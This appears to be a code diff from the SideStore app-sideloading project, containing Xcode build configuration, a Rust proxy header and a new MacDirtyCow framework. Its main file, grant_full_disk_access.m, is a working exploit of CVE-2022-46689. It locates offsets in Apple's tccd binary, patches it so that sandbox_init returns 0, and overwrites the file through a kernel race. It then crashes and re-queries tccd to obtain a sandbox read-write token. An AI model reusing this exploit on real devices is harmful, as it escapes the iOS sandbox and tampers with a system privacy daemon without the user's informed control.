shellScript = "# generated with cargo-xcode 1.5.0\n\n#set -eux; cat \"$DERIVED_FILE_DIR/$ARCHS-$EXECUTABLE_NAME.xcfilelist\" | tr '\\n' '\\0' | xargs -0 lipo -create -output \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#if [ ${LD_DYLIB_INSTALL_NAME:+1} ]; then\n# install_name_tool -id \"$LD_DYLIB_INSTALL_NAME\" \"$TARGET_BUILD_DIR/$EXECUTABLE_PATH\"\n#fi\n";
|
||||
};
|
||||
/* End PBXShellScriptBuildPhase section */
|
||||
|
||||
CA6012A875F980E02D6C7F57 = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA60A20F8EA63CC16B37690B /* Release */,
|
||||
CA60A20F8EA6228BE02872F8 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* Begin PBXSourcesBuildPhase section */
|
||||
CA600F638141A560B9642892 /* Sources */ = {
|
||||
isa = PBXSourcesBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
9961EC2829BE9C2000AF2C6F /* SwiftBridgeCore.h in Sources */,
|
||||
9987603329A454B500818586 /* minimuxer.h in Sources */,
|
||||
);
|
||||
runOnlyForDeploymentPostprocessing = 0;
|
||||
};
|
||||
/* End PBXSourcesBuildPhase section */
|
||||
|
||||
CA60A20F8EA63CC16B37690B = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */
|
||||
CARGO_XCODE_FEATURES = ""; /* configure yourself */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64";
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos";
|
||||
PRODUCT_NAME = "minimuxer";
|
||||
MARKETING_VERSION = "0.1.0";
|
||||
CURRENT_PROJECT_VERSION = "0.1";
|
||||
SDKROOT = macosx;
|
||||
|
||||
"CARGO_XCODE_BUILD_MODE" = "release"; /* for xcode scripts */
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* Begin XCBuildConfiguration section */
|
||||
CA6008D36272A560B9642892 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CARGO_XCODE_CARGO_DEP_FILE_NAME = libminimuxer.d;
|
||||
CARGO_XCODE_CARGO_FILE_NAME = libminimuxer.a;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
LIB_FILE_NAME = "";
|
||||
"LIB_FILE_NAME[sdk=iphoneos*]" = "libminimuxer-ios";
|
||||
"LIB_FILE_NAME[sdk=iphonesimulator*]" = "libminimuxer-sim";
|
||||
PRODUCT_NAME = minimuxer_static;
|
||||
SKIP_INSTALL = YES;
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
CA602DE9FCEDA560B9642892 /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
CARGO_XCODE_CARGO_DEP_FILE_NAME = libminimuxer.d;
|
||||
CARGO_XCODE_CARGO_FILE_NAME = libminimuxer.a;
|
||||
INSTALL_GROUP = "";
|
||||
INSTALL_MODE_FLAG = "";
|
||||
INSTALL_OWNER = "";
|
||||
LIB_FILE_NAME = "";
|
||||
"LIB_FILE_NAME[sdk=iphoneos*]" = "libminimuxer-ios";
|
||||
"LIB_FILE_NAME[sdk=iphonesimulator*]" = "libminimuxer-sim";
|
||||
PRODUCT_NAME = minimuxer_static;
|
||||
SKIP_INSTALL = YES;
|
||||
SUPPORTED_PLATFORMS = "macosx iphonesimulator iphoneos appletvsimulator appletvos";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
CA60A20F8EA6228BE02872F8 /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
|
||||
CARGO_XCODE_BUILD_MODE = debug;
|
||||
CARGO_XCODE_FEATURES = "";
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
|
||||
CURRENT_PROJECT_VERSION = 0.1;
|
||||
MARKETING_VERSION = 0.1.0;
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
PRODUCT_NAME = minimuxer;
|
||||
SDKROOT = macosx;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
CA60A20F8EA63CC16B37690B /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target";
|
||||
CARGO_XCODE_BUILD_MODE = release;
|
||||
CARGO_XCODE_FEATURES = "";
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = aarch64;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = i686;
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = x86_64;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = tvos;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = ios;
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = darwin;
|
||||
CURRENT_PROJECT_VERSION = 0.1;
|
||||
MARKETING_VERSION = 0.1.0;
|
||||
PRODUCT_NAME = minimuxer;
|
||||
SDKROOT = macosx;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
CA60A20F8EA6228BE02872F8 = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
|
||||
ALWAYS_SEARCH_USER_PATHS = NO;
|
||||
SUPPORTS_MACCATALYST = YES;
|
||||
CARGO_TARGET_DIR = "$(PROJECT_TEMP_DIR)/cargo_target"; /* for cargo */
|
||||
CARGO_XCODE_FEATURES = ""; /* configure yourself */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=arm64*]" = "aarch64";
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=x86_64*]" = "x86_64"; /* catalyst adds h suffix */
|
||||
"CARGO_XCODE_TARGET_ARCH[arch=i386]" = "i686";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=macosx*]" = "darwin";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*]" = "ios-sim";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphonesimulator*][arch=x86_64*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=iphoneos*]" = "ios";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvsimulator*]" = "tvos";
|
||||
"CARGO_XCODE_TARGET_OS[sdk=appletvos*]" = "tvos";
|
||||
PRODUCT_NAME = "minimuxer";
|
||||
MARKETING_VERSION = "0.1.0";
|
||||
CURRENT_PROJECT_VERSION = "0.1";
|
||||
SDKROOT = macosx;
|
||||
|
||||
"CARGO_XCODE_BUILD_MODE" = "debug"; /* for xcode scripts */
|
||||
ONLY_ACTIVE_ARCH = YES;
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
|
||||
CA6012A875F9E04653AD465F = {
|
||||
isa = PBXProject;
|
||||
attributes = {
|
||||
LastUpgradeCheck = 1300;
|
||||
TargetAttributes = {
|
||||
CA609C732349A560B9642892 = {
|
||||
CreatedOnToolsVersion = 9.2;
|
||||
ProvisioningStyle = Automatic;
|
||||
};
|
||||
};
|
||||
};
|
||||
buildConfigurationList = CA6012A875F980E02D6C7F57;
|
||||
compatibilityVersion = "Xcode 11.4";
|
||||
developmentRegion = en;
|
||||
hasScannedForEncodings = 0;
|
||||
knownRegions = (
|
||||
en,
|
||||
Base,
|
||||
);
|
||||
mainGroup = CA6012A875F9D65BC3C892A8;
|
||||
productRefGroup = CA6012A875F922869D176AE5 /* Products */;
|
||||
projectDirPath = "";
|
||||
projectRoot = "";
|
||||
targets = (
|
||||
CA609C732349A560B9642892,
|
||||
|
||||
);
|
||||
};
|
||||
|
||||
};
|
||||
rootObject = CA6012A875F9E04653AD465F;
|
||||
/* Begin XCConfigurationList section */
|
||||
CA600589A243A560B9642892 /* Build configuration list for PBXNativeTarget "minimuxer-staticlib" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA602DE9FCEDA560B9642892 /* Release */,
|
||||
CA6008D36272A560B9642892 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
CA6012A875F980E02D6C7F57 /* Build configuration list for PBXProject "minimuxer" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
CA60A20F8EA63CC16B37690B /* Release */,
|
||||
CA60A20F8EA6228BE02872F8 /* Debug */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
};
|
||||
rootObject = CA6012A875F9E04653AD465F /* Project object */;
|
||||
}
|
||||
|
||||
1
Dependencies/minimuxer/.gitkeep
vendored
Normal file
@@ -0,0 +1 @@
|
||||
Use ../fetch-prebuilt.sh to fetch prebuilt Rust dependencies
|
||||
10
Dependencies/update.sh
vendored
@@ -1,10 +0,0 @@
|
||||
#!/usr/bin/env bash
|
||||
set -e; set -o pipefail; set -x;
|
||||
|
||||
echo "Building Rust projects..."
|
||||
cd em_proxy
|
||||
cargo xcode --output-dir ../
|
||||
cd ../
|
||||
cd minimuxer
|
||||
cargo xcode --output-dir ../
|
||||
echo "Done!"
|
||||
@@ -1,40 +0,0 @@
|
||||
// Jackson Coxson
|
||||
|
||||
#include <stdarg.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
|
||||
/**
|
||||
* Starts your emotional damage
|
||||
* # Arguments
|
||||
* * `bind_addr` - The UDP socket to listen to
|
||||
* # Returns
|
||||
* A handle to stop further emotional damage.
|
||||
* Null on failure
|
||||
* # Safety
|
||||
* Don't be stupid
|
||||
*/
|
||||
int start_emotional_damage(const char *bind_addr);
|
||||
|
||||
/**
|
||||
* Stops further emotional damage
|
||||
* # Arguments
|
||||
* * `handle` - The coping mechanism generated by start_emotional_damage
|
||||
* # Returns
|
||||
* The knowledge of knowing that you couldn't handle failure
|
||||
* # Safety
|
||||
* Don't be stupid
|
||||
*/
|
||||
void stop_emotional_damage(void);
|
||||
|
||||
/**
|
||||
* Blocks until Wireguard is ready
|
||||
* # Arguments
|
||||
* * `timeout` - The timeout in miliseconds to wait for Wireguard
|
||||
* # Returns
|
||||
* 0 on success, -1 on failure
|
||||
*/
|
||||
int test_emotional_damage(int timeout);
|
||||
21
MacDirtyCow/MacDirtyCow.h
Normal file
@@ -0,0 +1,21 @@
|
||||
//
|
||||
// MacDirtyCow.h
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
//! Project version number for MacDirtyCow.
|
||||
FOUNDATION_EXPORT double MacDirtyCowVersionNumber;
|
||||
|
||||
//! Project version string for MacDirtyCow.
|
||||
FOUNDATION_EXPORT const unsigned char MacDirtyCowVersionString[];
|
||||
|
||||
// In this header, you should import all the public headers of your framework using statements like #import <MacDirtyCow/PublicHeader.h>
|
||||
|
||||
#include "grant_full_disk_access.h"
|
||||
#include "helpers.h"
|
||||
#include "vm_unaligned_copy_switch_race.h"
|
||||
16
MacDirtyCow/grant_full_disk_access.h
Normal file
@@ -0,0 +1,16 @@
|
||||
//
|
||||
// grant_full_disk_access.h
|
||||
// AltStore
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
#ifndef grant_full_disk_access_h
|
||||
#define grant_full_disk_access_h
|
||||
@import Foundation;
|
||||
|
||||
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
|
||||
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
|
||||
bool patch_installd(void);
|
||||
#endif /* grant_full_disk_access_h */
|
||||
618
MacDirtyCow/grant_full_disk_access.m
Normal file
@@ -0,0 +1,618 @@
|
||||
//
|
||||
// grant_full_disk_access.m
|
||||
// MacDirtyCow
|
||||
//
|
||||
// Created by June P on 2023/11/28.
|
||||
// Copyright © 2023 SideStore. All rights reserved.
|
||||
//
|
||||
|
||||
@import Darwin;
|
||||
@import Foundation;
|
||||
@import MachO;
|
||||
|
||||
#import <mach-o/fixup-chains.h>
|
||||
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
|
||||
// WDBFontOverwrite
|
||||
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
|
||||
// Please don't call this code on iOS 14 or below
|
||||
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
|
||||
#import "grant_full_disk_access.h"
|
||||
#import "helpers.h"
|
||||
#import "vm_unaligned_copy_switch_race.h"
|
||||
|
||||
typedef NSObject* xpc_object_t;
|
||||
typedef xpc_object_t xpc_connection_t;
|
||||
typedef void (^xpc_handler_t)(xpc_object_t object);
|
||||
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
|
||||
xpc_object_t _Nullable const* values, size_t count);
|
||||
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
|
||||
uint64_t flags);
|
||||
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
|
||||
void xpc_connection_resume(xpc_connection_t connection);
|
||||
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
|
||||
dispatch_queue_t replyq, xpc_handler_t handler);
|
||||
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
|
||||
xpc_object_t message);
|
||||
xpc_object_t xpc_bool_create(bool value);
|
||||
xpc_object_t xpc_string_create(const char* string);
|
||||
xpc_object_t xpc_null_create(void);
|
||||
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
|
||||
|
||||
int64_t sandbox_extension_consume(const char* token);
|
||||
|
||||
// MARK: - patchfind
|
||||
|
||||
struct grant_full_disk_access_offsets {
|
||||
uint64_t offset_addr_s_com_apple_tcc_;
|
||||
uint64_t offset_padding_space_for_read_write_string;
|
||||
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
|
||||
uint64_t offset_auth_got__sandbox_init;
|
||||
uint64_t offset_just_return_0;
|
||||
bool is_arm64e;
|
||||
};
|
||||
|
||||
static bool patchfind_sections(void* executable_map,
|
||||
struct segment_command_64** data_const_segment_out,
|
||||
struct symtab_command** symtab_out,
|
||||
struct dysymtab_command** dysymtab_out) {
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
|
||||
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
|
||||
load_command_index++) {
|
||||
switch (load_command->cmd) {
|
||||
case LC_SEGMENT_64: {
|
||||
struct segment_command_64* segment = (struct segment_command_64*)load_command;
|
||||
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
|
||||
*data_const_segment_out = segment;
|
||||
}
|
||||
break;
|
||||
}
|
||||
case LC_SYMTAB: {
|
||||
*symtab_out = (struct symtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
case LC_DYSYMTAB: {
|
||||
*dysymtab_out = (struct dysymtab_command*)load_command;
|
||||
break;
|
||||
}
|
||||
}
|
||||
load_command = ((void*)load_command) + load_command->cmdsize;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
|
||||
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* last_section = §ion_array[segment->nsects - 1];
|
||||
return last_section->offset + last_section->size;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
|
||||
const char* needle) {
|
||||
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
|
||||
if (!str_offset) {
|
||||
return 0;
|
||||
}
|
||||
uint64_t str_file_offset = str_offset - executable_map;
|
||||
for (int i = 0; i < executable_length; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + i);
|
||||
if ((val & 0xfffffffful) == str_file_offset) {
|
||||
return i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
|
||||
// TCCDSyncAccessAction::sequencer
|
||||
// mov x0, #0
|
||||
// ret
|
||||
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
|
||||
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
|
||||
if (!offset) {
|
||||
return 0;
|
||||
}
|
||||
return offset - executable_map;
|
||||
}
|
||||
|
||||
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
|
||||
struct segment_command_64* data_const_segment,
|
||||
struct symtab_command* symtab_command,
|
||||
struct dysymtab_command* dysymtab_command,
|
||||
const char* target_symbol_name) {
|
||||
uint64_t target_symbol_index = 0;
|
||||
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
|
||||
struct nlist_64* sym =
|
||||
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
|
||||
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
|
||||
if (strcmp(sym_name, target_symbol_name)) {
|
||||
continue;
|
||||
}
|
||||
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
|
||||
target_symbol_index = sym_index;
|
||||
break;
|
||||
}
|
||||
|
||||
struct section_64* section_array =
|
||||
((void*)data_const_segment) + sizeof(struct segment_command_64);
|
||||
struct section_64* first_section = §ion_array[0];
|
||||
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
|
||||
strcmp(first_section->sectname, "__got") == 0)) {
|
||||
return 0;
|
||||
}
|
||||
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
|
||||
|
||||
for (int i = 0; i < first_section->size; i += 8) {
|
||||
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
|
||||
uint64_t indirect_table_entry = (val & 0xfffful);
|
||||
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
|
||||
return first_section->offset + i;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static bool patchfind(void* executable_map, size_t executable_length,
|
||||
struct grant_full_disk_access_offsets* offsets) {
|
||||
struct segment_command_64* data_const_segment = nil;
|
||||
struct symtab_command* symtab_command = nil;
|
||||
struct dysymtab_command* dysymtab_command = nil;
|
||||
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
|
||||
&dysymtab_command)) {
|
||||
printf("no sections\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_com_apple_tcc_ =
|
||||
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
|
||||
printf("no com.apple.tcc. string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_padding_space_for_read_write_string =
|
||||
patchfind_get_padding(data_const_segment)) == 0) {
|
||||
printf("no padding\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
|
||||
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
|
||||
printf("no kTCCServiceMediaLibrary string\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_auth_got__sandbox_init =
|
||||
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
|
||||
dysymtab_command, "_sandbox_init")) == 0) {
|
||||
printf("no sandbox_init\n");
|
||||
return false;
|
||||
}
|
||||
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
|
||||
0) {
|
||||
printf("no just return 0\n");
|
||||
return false;
|
||||
}
|
||||
struct mach_header_64* executable_header = executable_map;
|
||||
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// MARK: - tccd patching
|
||||
|
||||
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
|
||||
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
|
||||
// re-use it until next reboot.
|
||||
// Returns the sandbox token if there is one, or nil if there isn't one.
|
||||
xpc_connection_t connection = xpc_connection_create_mach_service(
|
||||
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
|
||||
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
|
||||
NSLog(@"xpc event handler: %@", object);
|
||||
});
|
||||
xpc_connection_resume(connection);
|
||||
const char* keys[] = {
|
||||
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
|
||||
"target_token", "background_session",
|
||||
};
|
||||
xpc_object_t values[] = {
|
||||
xpc_string_create("17087.1"),
|
||||
xpc_string_create("TCCAccessRequest"),
|
||||
xpc_string_create("com.apple.app-sandbox.read-write"),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
xpc_null_create(),
|
||||
xpc_bool_create(false),
|
||||
};
|
||||
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
|
||||
#if 0
|
||||
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
|
||||
NSLog(@"%@", response_message);
|
||||
|
||||
#endif
|
||||
xpc_connection_send_message_with_reply(
|
||||
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
|
||||
^(xpc_object_t object) {
|
||||
if (!object) {
|
||||
NSLog(@"object is nil???");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"response: %@", object);
|
||||
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
|
||||
NSLog(@"xpc error?");
|
||||
completion(nil);
|
||||
return;
|
||||
}
|
||||
NSLog(@"debug description: %@", [object debugDescription]);
|
||||
const char* extension_string = xpc_dictionary_get_string(object, "extension");
|
||||
NSString* extension_nsstring =
|
||||
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
|
||||
completion(extension_nsstring);
|
||||
});
|
||||
}
|
||||
|
||||
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
|
||||
struct grant_full_disk_access_offsets offsets = {};
|
||||
if (!patchfind(executableMap, executableLength, &offsets)) {
|
||||
return nil;
|
||||
}
|
||||
|
||||
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
|
||||
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
|
||||
char* mutableBytes = data.mutableBytes;
|
||||
{
|
||||
// rewrite com.apple.tcc. into blank string
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
|
||||
}
|
||||
{
|
||||
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
|
||||
// we need to stick this somewhere; just put it in the padding between
|
||||
// the end of __objc_arrayobj and the end of __DATA_CONST
|
||||
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
|
||||
"com.apple.app-sandbox.read-write");
|
||||
struct dyld_chained_ptr_arm64e_rebase targetRebase =
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary);
|
||||
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
|
||||
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
|
||||
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
|
||||
targetRebase;
|
||||
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
|
||||
strlen("com.apple.app-sandbox.read-write");
|
||||
}
|
||||
if (offsets.is_arm64e) {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
|
||||
.auth = 1,
|
||||
.bind = 0,
|
||||
.next = 1,
|
||||
.key = 0, // IA
|
||||
.addrDiv = 1,
|
||||
.diversity = 0,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
|
||||
offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
} else {
|
||||
// make sandbox_init call return 0;
|
||||
struct dyld_chained_ptr_64_rebase targetRebase = {
|
||||
.bind = 0,
|
||||
.next = 2,
|
||||
.target = offsets.offset_just_return_0,
|
||||
};
|
||||
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
|
||||
targetRebase;
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static bool overwrite_file(int fd, NSData* sourceData) {
|
||||
for (int off = 0; off < sourceData.length; off += 0x4000) {
|
||||
bool success = false;
|
||||
for (int i = 0; i < 2; i++) {
|
||||
if (unaligned_copy_switch_race(
|
||||
fd, off, sourceData.bytes + off,
|
||||
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
|
||||
success = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!success) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
|
||||
NSError* _Nullable error)) {
|
||||
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
|
||||
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
if (fd == -1) {
|
||||
// iOS 15.3 and below
|
||||
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
|
||||
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
|
||||
}
|
||||
off_t targetLength = lseek(fd, 0, SEEK_END);
|
||||
lseek(fd, 0, SEEK_SET);
|
||||
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
|
||||
|
||||
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
|
||||
NSData* sourceData = patchTCCD(targetMap, targetLength);
|
||||
if (!sourceData) {
|
||||
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:5
|
||||
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!overwrite_file(fd, sourceData)) {
|
||||
overwrite_file(fd, originalData);
|
||||
munmap(targetMap, targetLength);
|
||||
completion(
|
||||
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
|
||||
code:1
|
||||
userInfo:@{
|
||||
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
|
||||
@"not be vulnerable to CVE-2022-46689."
|
||||
}]);
|
||||
return;
|
||||
}
|
||||
munmap(targetMap, targetLength);
|
||||
|
||||
xpc_crasher("com.apple.tccd");
|
||||
sleep(1);
|
||||
call_tccd(^(NSString* _Nullable extension_token) {
|
||||
overwrite_file(fd, originalData);
|
||||
xpc_crasher("com.apple.tccd");
|
||||
NSError* returnError = nil;
|
||||
if (extension_token == nil) {
|
||||
returnError =
|
||||
